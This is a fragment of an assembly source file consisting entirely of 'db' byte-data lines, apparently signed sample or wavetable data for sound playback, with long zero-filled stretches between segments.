db 0x02,0x00,0xFC,0x00,0x01,0xFE,0x00,0x02,0xFE,0x00,0x02,0xFF,0x00,0x02,0x00,0xFE,0x00,0x00,0xFD,0x03,0x00,0xFC,0x01,0x03,0xFF,0x00,0x00,0xFD,0x00,0x02,0xFD,0xFB
db 0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x02,0x01,0x01,0x00,0x00,0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF
db 0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x01,0x01,0x01,0x00,0x01,0x00,0x01,0x01,0x00,0x00,0xFF,0x00,0xFF,0x00,0xFF,0x00
db 0x01,0xFF,0x00,0x00,0xFF,0x00,0xFE,0x00,0xFE,0xFE,0xFF,0xFD,0xFE,0xFF,0x00,0x00,0x00,0x00,0x01,0x00,0x02,0x00,0x02,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x00,0x00
db 0xFD,0xFA,0xF8,0xF4,0xF2,0xED,0xEB,0xE7,0xE3,0xE1,0xE2,0xE1,0xE8,0xEB,0xF3,0xFA,0x02,0x0C,0x13,0x1B,0x1F,0x24,0x24,0x24,0x20,0x1C,0x17,0x10,0x0D,0x07,0x04,0x00
db 0x05,0x03,0x03,0xFE,0xF9,0xF2,0xE9,0xE1,0xD6,0xD2,0xCD,0xCF,0xD4,0xDA,0xE9,0xF2,0x03,0x0F,0x1C,0x29,0x2E,0x2E,0x2C,0x27,0x1F,0x17,0x0E,0x09,0x04,0x03,0x03,0x03
db 0x09,0x0B,0x0D,0x06,0xFD,0xF7,0xEA,0xE4,0xD4,0xD0,0xCA,0xC9,0xD1,0xD6,0xE7,0xF1,0x03,0x10,0x1D,0x26,0x2B,0x2D,0x29,0x25,0x1C,0x17,0x0C,0x08,0x02,0x02,0x02,0x05
db 0x11,0x14,0x12,0x0E,0x06,0xFD,0xF2,0xE7,0xDC,0xD1,0xC8,0xC7,0xCB,0xD9,0xE4,0xF9,0x06,0x19,0x23,0x2C,0x2D,0x2D,0x25,0x1F,0x12,0x0A,0x00,0xFF,0xFB,0x02,0x05,0x0D
db 0x12,0x13,0x12,0x0D,0x05,0xFC,0xF2,0xE8,0xDF,0xD6,0xD2,0xD2,0xD8,0xE2,0xF0,0xFF,0x0E,0x19,0x21,0x24,0x1F,0x21,0x1D,0x17,0x0F,0x07,0x02,0x00,0x01,0x04,0x09,0x0E
db 0x14,0x14,0x12,0x0D,0x06,0xFE,0xF6,0xEE,0xE7,0xE0,0xD8,0xD5,0xD8,0xE0,0xEB,0xF8,0xFC,0x0A,0x15,0x1E,0x21,0x1F,0x1A,0x11,0x07,0xFE,0xFA,0xFB,0xFF,0x06,0x0C,0x11
db 0x13,0x13,0x11,0x0E,0x08,0x01,0xF9,0xF1,0xEA,0xE3,0xDC,0xD8,0xDA,0xE1,0xEC,0xF9,0x06,0x12,0x1B,0x1F,0x1E,0x19,0x10,0x06,0xFD,0xF7,0xF6,0xFA,0xFF,0x06,0x0C,0x10
db 0x13,0x13,0x11,0x0C,0x07,0x01,0xFA,0xF4,0xED,0xE7,0xE2,0xE0,0xE2,0xE7,0xEF,0xFA,0x04,0x0E,0x15,0x18,0x17,0x13,0x0B,0x03,0xFC,0xF5,0xF6,0xFB,0x01,0x07,0x0D,0x11
db 0x0B,0x0B,0x0A,0x08,0x05,0x03,0x00,0xFD,0xEF,0xEB,0xE8,0xE7,0xE8,0xED,0xF5,0xFE,0x07,0x0E,0x13,0x15,0x12,0x0D,0x07,0x00,0xFB,0xF8,0xF9,0xFB,0xFF,0x03,0x07,0x0A
db 0xFF,0x00,0x00,0x01,0x01,0x00,0xFE,0xFB,0xF8,0xF6,0xF5,0xF6,0xF7,0xF9,0xFD,0x01,0x05,0x08,0x09,0x0A,0x09,0x08,0x06,0x04,0x02,0x0B,0x08,0x06,0x04,0x01,0x00,0xFF
db 0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x01,0x01,0x01,0x00,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01,0x01
db 0x01,0x00,0xFF,0xFE,0xFE,0xFD,0xFD,0xFD,0xFD,0xFD,0xFD,0xFD,0xFD,0xFD,0xFE,0xFE,0xFF,0x00,0x00,0x02,0x02,0x03,0x04,0x05,0x05,0x05,0x05,0x05,0x04,0x03,0x03,0x02
db 0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFE,0xFE,0xFE,0xFE,0xFE,0xFE,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x01,0x01,0x01,0x02,0x02,0x01,0x01,0x01,0x01,0x01,0x01,0x01
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0xFF,0x00,0x01,0x01,0x00,0xFF,0x02,0x03,0x02,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0xFF
db 0x00,0x00,0x00,0xFF,0x00,0x01,0xFF,0x00,0xFF,0x02,0x00,0xFF,0x01,0x00,0x00,0xFF,0x00,0x01,0x00,0xFF,0x00,0x00,0x01,0xFF,0x00,0x00,0x00,0xFF,0x00,0xFF,0x00,0xFF
db 0x00,0x01,0x00,0xFF,0x01,0x00,0xFF,0x00,0x00,0x01,0xFF,0xFF,0x01,0x02,0xFE,0x01,0x00,0x01,0x00,0xFF,0x01,0x01,0xFF,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00
db 0x01,0x02,0xFF,0xFF,0x01,0x01,0xFF,0xFF,0x00,0x02,0xFE,0xFD,0x01,0x01,0x00,0x00,0x01,0x02,0x00,0xFE,0x02,0x00,0xFF,0x00,0x00,0x00,0xFF,0xFF,0x01,0x01,0x00,0xFF
db 0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x01,0xFF,0x00,0x01,0xFF,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0xFF,0x00,0xFF,0x00,0x00,0x00,0x01,0xFF
db 0x00,0x00,0x01,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xFF,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF
db 0xF4,0xF6,0xF8,0xFA,0xFD,0x00,0x03,0x06,0x09,0x0C,0x09,0x09,0x09,0x08,0x07,0x05,0x04,0x03,0x01,0x00,0xFE,0xFD,0xFB,0xFA,0xF8,0xF7,0xF5,0xF4,0xF4,0xF3,0xF3,0xF3
db 0xCC,0xDB,0xE7,0xF3,0x00,0x0C,0x17,0x23,0x2A,0x2F,0x31,0x31,0x2E,0x2A,0x25,0x20,0x1A,0x14,0x0F,0x0A,0x04,0xFD,0xF7,0xF1,0xEA,0xE2,0xDA,0xD4,0xCD,0xC7,0xC4,0xC5
db 0xBF,0xC9,0xDB,0xEE,0x01,0x12,0x22,0x30,0x39,0x3C,0x3D,0x39,0x31,0x2B,0x25,0x1F,0x18,0x12,0x0E,0x0A,0x06,0x02,0xFC,0xF6,0xEE,0xE5,0xDC,0xD2,0xC7,0xBC,0xB4,0xB8
db 0xBA,0xC7,0xDB,0xF0,0x05,0x18,0x2C,0x3B,0x43,0x47,0x44,0x3D,0x33,0x2B,0x24,0x1B,0x13,0x0E,0x0A,0x06,0x03,0x00,0xFC,0xF6,0xEE,0xE5,0xDB,0xCF,0xC3,0xB6,0xAF,0xB4
db 0xB5,0xC5,0xDA,0xF2,0x07,0x1C,0x30,0x3E,0x45,0x48,0x45,0x3B,0x30,0x27,0x20,0x16,0x0F,0x0B,0x08,0x05,0x05,0x03,0xFF,0xFA,0xF2,0xE8,0xDC,0xCE,0xC0,0xB1,0xAC,0xAF
db 0xD4,0xDA,0xEA,0xF7,0x00,0x0C,0x17,0x1C,0x20,0x23,0x20,0x1D,0x1C,0x17,0x18,0x1B,0x1A,0x17,0x15,0x04,0x00,0x00,0xFE,0xFA,0xFA,0xF4,0xEB,0xE4,0xDB,0xCF,0xC8,0xD1
db 0xCF,0xE0,0xEE,0x05,0x0F,0x16,0x1E,0x1B,0x15,0x14,0x0B,0x08,0x0B,0x08,0x0E,0x16,0x19,0x1D,0x1F,0x17,0x16,0x0F,0x08,0x05,0xFB,0xF4,0xEC,0xE2,0xD8,0xCF,0xC4,0xC2
db 0xD2,0xE2,0xF1,0x0C,0x10,0x17,0x1C,0x13,0x0F,0x0D,0x01,0x06,0x06,0x07,0x14,0x17,0x1D,0x26,0x21,0x1C,0x19,0x0D,0x0A,0x04,0xFB,0xF8,0xEF,0xE2,0xDD,0xD3,0xC4,0xC1
db 0xDA,0xE5,0xF7,0x0B,0x0F,0x16,0x17,0x12,0x0F,0x0C,0x00,0x07,0x05,0x09,0x12,0x18,0x1D,0x27,0x23,0x20,0x19,0x0E,0x07,0xFF,0xF4,0xF0,0xE7,0xDD,0xDA,0xD1,0xC9,0xC7
db 0xD6,0xE7,0xEB,0xFD,0x06,0x0B,0x0F,0x12,0x0E,0x14,0x0F,0x0F,0x11,0x0E,0x11,0x14,0x16,0x1B,0x20,0x1D,0x1C,0x12,0x0B,0x00,0xF5,0xEE,0xE7,0xDF,0xDF,0xD6,0xD4,0xCF
db 0xF1,0xF2,0xF7,0xF9,0xFD,0xFE,0x02,0x03,0x05,0x07,0x07,0x0A,0x0A,0x0E,0x0C,0x0F,0x0D,0x11,0x0D,0x0E,0x0A,0x05,0x03,0x00,0xFD,0xFB,0xFA,0xEC,0xEB,0xEA,0xEC,0xEE
db 0x04,0xFE,0xFC,0x06,0xFF,0xFC,0x05,0x03,0xFC,0x01,0x07,0xFE,0xFB,0x0C,0xFC,0xFE,0x05,0xFC,0xFF,0x05,0xFC,0x01,0x02,0x01,0xFE,0xFE,0x0A,0xF7,0xFE,0x08,0xF9,0xFE
db 0xFE,0xFF,0x00,0x04,0xFB,0x00,0x03,0xFF,0x01,0xFF,0x02,0xFE,0xFC,0x0A,0xF6,0x02,0x03,0xFB,0x05,0xFF,0xFC,0x06,0xFC,0x02,0xFC,0x01,0x09,0xF2,0x09,0x01,0xF9,0x07
db 0xF6,0x02,0x01,0x03,0xFD,0xFD,0x0C,0xF3,0xFF,0x0E,0xF4,0x01,0x03,0x03,0xF1,0x13,0xF9,0xF9,0x08,0xFF,0xFB,0x01,0x0C,0xF4,0xFE,0x0C,0xFE,0xF4,0x0B,0x03,0xF2,0x11
db 0xFF,0xEC,0x15,0xFE,0xED,0x0C,0x0E,0xEB,0xFE,0x17,0xEF,0xFB,0x0D,0xFE,0xEF,0x18,0xF8,0xF3,0x11,0xFD,0xF0,0x13,0x02,0xF0,0xFF,0x16,0xF8,0xF0,0x17,0xF9,0xF1,0x13
db 0xFA,0x01,0x04,0xFB,0x06,0xFB,0x08,0xF9,0xFE,0x0B,0xF6,0x00,0x09,0xF7,0xFD,0x0D,0xF5,0xFF,0x09,0xFD,0x00,0x03,0xFE,0xFF,0x01,0x04,0xFA,0xFF,0x06,0xFD,0xF9,0x09
db 0xFE,0xFA,0x09,0xFA,0xFF,0x02,0x02,0xF9,0x00,0x0A,0xF3,0x05,0x08,0xF5,0x05,0x02,0xFF,0xFB,0x06,0x01,0xFA,0x06,0xFD,0xFF,0x02,0x02,0xFD,0xFC,0x0B,0xF6,0x00,0x06
db 0xFB,0x03,0x02,0xFF,0x00,0xFE,0x03,0xFF,0xFF,0x03,0xFD,0x01,0x02,0xFC,0x01,0x00,0x00,0x01,0xFF,0xFF,0x01,0x01,0xFD,0x01,0xFF,0x01,0xFF,0x00,0x01,0xFF,0x01,0x03
db 0x08,0x07,0x08,0x09,0x08,0x07,0x07,0x05,0x04,0x03,0x00,0xFE,0xFC,0xF8,0xF6,0xF4,0xF3,0xF5,0xF6,0xF8,0xFA,0xFA,0xF9,0xFA,0xFA,0xFC,0xFE,0x00,0x03,0x05,0x06,0x07
db 0x14,0x18,0x18,0x17,0x16,0x15,0x10,0x0F,0x0A,0x06,0x03,0xFE,0xF8,0xF2,0xE7,0xD7,0xCD,0xC2,0xCD,0xDC,0xEC,0x01,0x0E,0x10,0x13,0x12,0x0B,0x0C,0x0C,0x0D,0x12,0x14
db 0x12,0x10,0x0D,0x0B,0x06,0x04,0x04,0x01,0x03,0x07,0x0A,0x0A,0x06,0xFE,0xF2,0xE0,0xCE,0xC2,0xCC,0xD9,0xEB,0x00,0x09,0x0F,0x14,0x0E,0x0E,0x0F,0x0F,0x12,0x13,0x10
db 0x0D,0x0A,0x09,0x08,0x05,0x05,0x03,0x03,0x06,0x08,0x0A,0x0B,0x08,0x01,0xF6,0xE6,0xD5,0xCC,0xD0,0xD4,0xE3,0xF2,0xFB,0x09,0x10,0x13,0x19,0x1A,0x19,0x18,0x12,0x0F
db 0x0C,0x07,0x02,0xFF,0xFE,0xFE,0x01,0x05,0x08,0x0B,0x0B,0x07,0x02,0xF9,0xEC,0xDE,0xD2,0xCC,0xCA,0xD0,0xD9,0xE7,0xF8,0x07,0x16,0x22,0x2A,0x2D,0x2A,0x23,0x1B,0x13
db 0x0E,0x09,0x05,0x03,0x02,0x03,0x05,0x06,0x07,0x0A,0x08,0x04,0xFC,0xF2,0xE7,0xDB,0xD2,0xCC,0xCD,0xD2,0xDB,0xE9,0xF8,0x07,0x16,0x21,0x29,0x2C,0x2A,0x24,0x1D,0x15
db 0x0E,0x0A,0x07,0x04,0x02,0x01,0xFF,0xFF,0xFD,0x00,0xFE,0xFA,0xF5,0xF0,0xE9,0xE3,0xDC,0xD7,0xD7,0xDB,0xE3,0xEE,0xFB,0x07,0x13,0x1D,0x24,0x28,0x26,0x21,0x1B,0x14
db 0x09,0x06,0x04,0x02,0x00,0xFE,0xFB,0xFB,0xFA,0xFA,0xFA,0xFA,0xF8,0xF7,0xF5,0xF3,0xF1,0xF1,0xF1,0xF3,0xF6,0xFB,0x00,0x04,0x09,0x0C,0x0F,0x10,0x10,0x0F,0x0D,0x0B
db 0x01,0x00,0xFF,0xFF,0xFE,0xFE,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x04,0x04,0x03,0x03,0x03,0x02,0x02
db 0x02,0x01,0xFB,0xFF,0x03,0xFE,0xFF,0x02,0xFE,0xFF,0x03,0xFF,0x00,0x01,0xFF,0xFF,0x01,0xFF,0xFF,0x01,0x00,0xFF,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00
db 0x06,0xFE,0xFB,0x00,0xFF,0xFE,0x02,0x00,0xFF,0x04,0x03,0xFF,0x04,0x07,0xFC,0xFC,0x01,0xFB,0xFD,0x04,0xFD,0xFF,0x05,0x04,0xFF,0xFE,0xFF,0xFF,0xFD,0x01,0x01,0x01
db 0xFD,0xFC,0xFF,0x01,0xFF,0xFE,0x02,0x01,0x00,0x00,0x01,0x04,0x03,0xFE,0xFB,0x02,0xFF,0xF9,0xFF,0x05,0x01,0xFC,0x01,0x07,0x03,0xFC,0xFF,0x04,0x00,0xFB,0xFF,0x01
db 0xFC,0xF8,0xF9,0xFA,0xFE,0xFE,0x00,0x00,0xFF,0x00,0x00,0x02,0x00,0xFF,0x02,0x03,0x02,0x03,0x05,0x06,0x04,0x02,0x05,0x06,0x04,0x00,0x01,0x01,0xFD,0xFC,0xFD,0xFF
db 0xDB,0xD5,0xD3,0xD7,0xDD,0xE2,0xEF,0xFD,0x06,0x07,0x07,0x0A,0x0B,0x0B,0x0B,0x12,0x17,0x1C,0x1E,0x20,0x20,0x1D,0x19,0x14,0x0E,0x08,0x03,0x00,0xF9,0xF0,0xE7,0xE2
db 0xDA,0xD1,0xCB,0xC6,0xC7,0xDC,0xFB,0x11,0x14,0x0F,0x0D,0x0E,0x0D,0x0A,0x07,0x08,0x0C,0x11,0x13,0x16,0x1A,0x1E,0x20,0x1C,0x18,0x14,0x0E,0xFF,0xF6,0xF1,0xEB,0xE3
db 0xE3,0xDF,0xE4,0xE8,0xEA,0xEB,0xF0,0xF7,0xFF,0x06,0x0C,0x11,0x16,0x18,0x19,0x19,0x1A,0x1B,0x1D,0x1B,0x17,0x12,0x0F,0x0B,0x06,0x03,0x00,0xFE,0xFA,0xF5,0xF0,0xEA
db 0xE4,0xDD,0xDB,0xD8,0xD5,0xD6,0xDE,0xEB,0xF8,0x05,0x12,0x20,0x2A,0x2D,0x2E,0x2D,0x29,0x23,0x19,0x11,0x0B,0x06,0x00,0xFB,0xFA,0xFC,0xFC,0xFA,0xF9,0xF8,0xF5,0xED
db 0xEE,0xE9,0xE6,0xE3,0xE1,0xE2,0xE6,0xED,0xF5,0xFD,0x07,0x1A,0x21,0x24,0x26,0x25,0x22,0x1C,0x14,0x0E,0x09,0x04,0xFF,0xFC,0xFC,0xFC,0xFB,0xFB,0xFB,0xFA,0xF7,0xF2
db 0xF9,0xF9,0xF8,0xF8,0xF9,0xFA,0xFA,0xFC,0xFE,0x00,0x05,0x09,0x0C,0x0E,0x0F,0x0E,0x0E,0x0C,0x0A,0x08,0x06,0x04,0x02,0x01,0x00,0xFE,0xFD,0xFC,0xFB,0xFB,0xFA,0xFA
db 0x01,0x01,0x00,0x00,0xFF,0xFF,0x00,0xFF,0xFF,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x01,0x01
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x01,0x00,0x01,0x01,0xFE,0xFF,0x02,0x01,0x00,0x00,0xFF,0x00,0x01,0x01,0x01,0x00,0x01,0x01,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0xFF,0xFF,0xFF,0x00,0xFE
db 0x00,0x00,0x00,0x01,0x02,0x00,0x00,0x01,0xFF,0x00,0x01,0x00,0xFF,0x00,0x00,0x02,0x00,0xFF,0xFF,0xFF,0x00,0xFF,0x01,0x01,0x00,0x01,0xFF,0xFF,0xFF,0x00,0xFF,0xFF
db 0xFE,0x00,0xFF,0xFF,0x00,0x01,0x00,0x01,0x00,0x01,0x02,0xFF,0xFE,0xFF,0x01,0x02,0x00,0x00,0xFF,0xFE,0x00,0x01,0x01,0x01,0x00,0x00,0x02,0x00,0xFF,0x00,0xFF,0xFF
db 0xFF,0x01,0xFF,0xFF,0x00,0x00,0x02,0x02,0x01,0x01,0x01,0x00,0xFF,0xFE,0xFF,0xFF,0x01,0xFF,0xFF,0x00,0x01,0x01,0x00,0x00,0xFF,0x00,0x01,0x01,0x01,0xFF,0xFF,0x00
db 0xFA,0xFB,0xFC,0x00,0x04,0x06,0x07,0x08,0x09,0x09,0x0A,0x0B,0x08,0x06,0x04,0x05,0x06,0x06,0x03,0x03,0x02,0x00,0xFF,0xFD,0xFC,0xFB,0xFE,0xFD,0xFA,0xF9,0xF9,0xFA
db 0xC5,0xCB,0xF5,0x18,0x22,0x13,0xFF,0xF6,0x00,0x17,0x28,0x25,0x15,0xFB,0xE5,0xDA,0xCC,0xD3,0xF7,0x13,0x1C,0x12,0x03,0xFA,0x00,0x14,0x25,0x1B,0x14,0x01,0xEB,0xD9
db 0xCD,0xC5,0xC5,0xE1,0xEA,0x00,0x13,0x19,0x1F,0x21,0x18,0x13,0x08,0xFF,0xF9,0xF7,0xF9,0x00,0x09,0x13,0x21,0x27,0x28,0x27,0x1E,0x15,0x09,0xF7,0xEB,0xE4,0xD6,0xD3
db 0xC5,0xBD,0xC7,0xDE,0xE7,0x05,0x0D,0x1E,0x22,0x23,0x21,0x18,0x0E,0x05,0xFA,0xF8,0xF4,0xFB,0x00,0x0D,0x1B,0x22,0x2A,0x28,0x24,0x1B,0x0B,0xFC,0xF0,0xDE,0xD7,0xCA
db 0xC1,0xB9,0xCE,0xD3,0xEE,0xFD,0x11,0x1F,0x24,0x2C,0x26,0x20,0x15,0x07,0xFF,0xF5,0xF3,0xF5,0xFA,0x09,0x13,0x21,0x26,0x29,0x25,0x1C,0x0E,0xFE,0xEF,0xDF,0xD3,0xC7
db 0xC1,0xB9,0xCA,0xCF,0xEB,0xF8,0x10,0x1C,0x28,0x2D,0x2A,0x26,0x1A,0x0E,0x02,0xF8,0xF3,0xF3,0xF7,0x02,0x0D,0x1B,0x22,0x28,0x25,0x20,0x10,0x04,0xF2,0xE3,0xD6,0xC8
db 0xC0,0xB8,0xC9,0xCE,0xEA,0xF7,0x0F,0x1C,0x28,0x2F,0x2B,0x28,0x18,0x0F,0xFF,0xF9,0xF1,0xF2,0xF7,0x01,0x0D,0x1A,0x22,0x27,0x26,0x21,0x12,0x05,0xF4,0xE4,0xD5,0xC8
db 0xC4,0xB8,0xC6,0xCE,0xE3,0xF8,0x09,0x1D,0x24,0x30,0x29,0x28,0x18,0x0E,0xFF,0xF6,0xF1,0xF0,0xF7,0x00,0x0F,0x19,0x24,0x28,0x27,0x21,0x14,0x05,0xF6,0xE5,0xD8,0xCA
db 0xC8,0xBE,0xC9,0xD4,0xE5,0xFB,0x09,0x1D,0x21,0x2C,0x23,0x20,0x11,0x06,0xFB,0xF2,0xF1,0xF2,0xFC,0x03,0x11,0x1D,0x26,0x29,0x26,0x20,0x12,0x03,0xF5,0xE3,0xD9,0xCC
db 0xDA,0xD5,0xD5,0xDE,0xE6,0xF5,0xFF,0x0D,0x14,0x1B,0x19,0x16,0x0F,0x07,0x00,0xFC,0xFC,0xFD,0xFE,0x08,0x13,0x1B,0x20,0x1F,0x1B,0x14,0x0A,0xFF,0xF6,0xED,0xE6,0xDF
db 0xFA,0xFA,0xFA,0xFA,0xFA,0x00,0x03,0x03,0x04,0x04,0x04,0x03,0x03,0x03,0x02,0x02,0x02,0x02,0x03,0x03,0x04,0x05,0x06,0x05,0x05,0x04,0x03,0x02,0x00,0xFE,0xFD,0xFB
db 0xFE,0xFD,0xFD,0xFE,0xFE,0xFE,0xFE,0xFE,0xFE,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x01,0x02,0x02,0x03,0x03,0x03,0x03,0x03,0x02,0x01,0x00,0x00,0xFF,0xFE,0xFE,0xFE
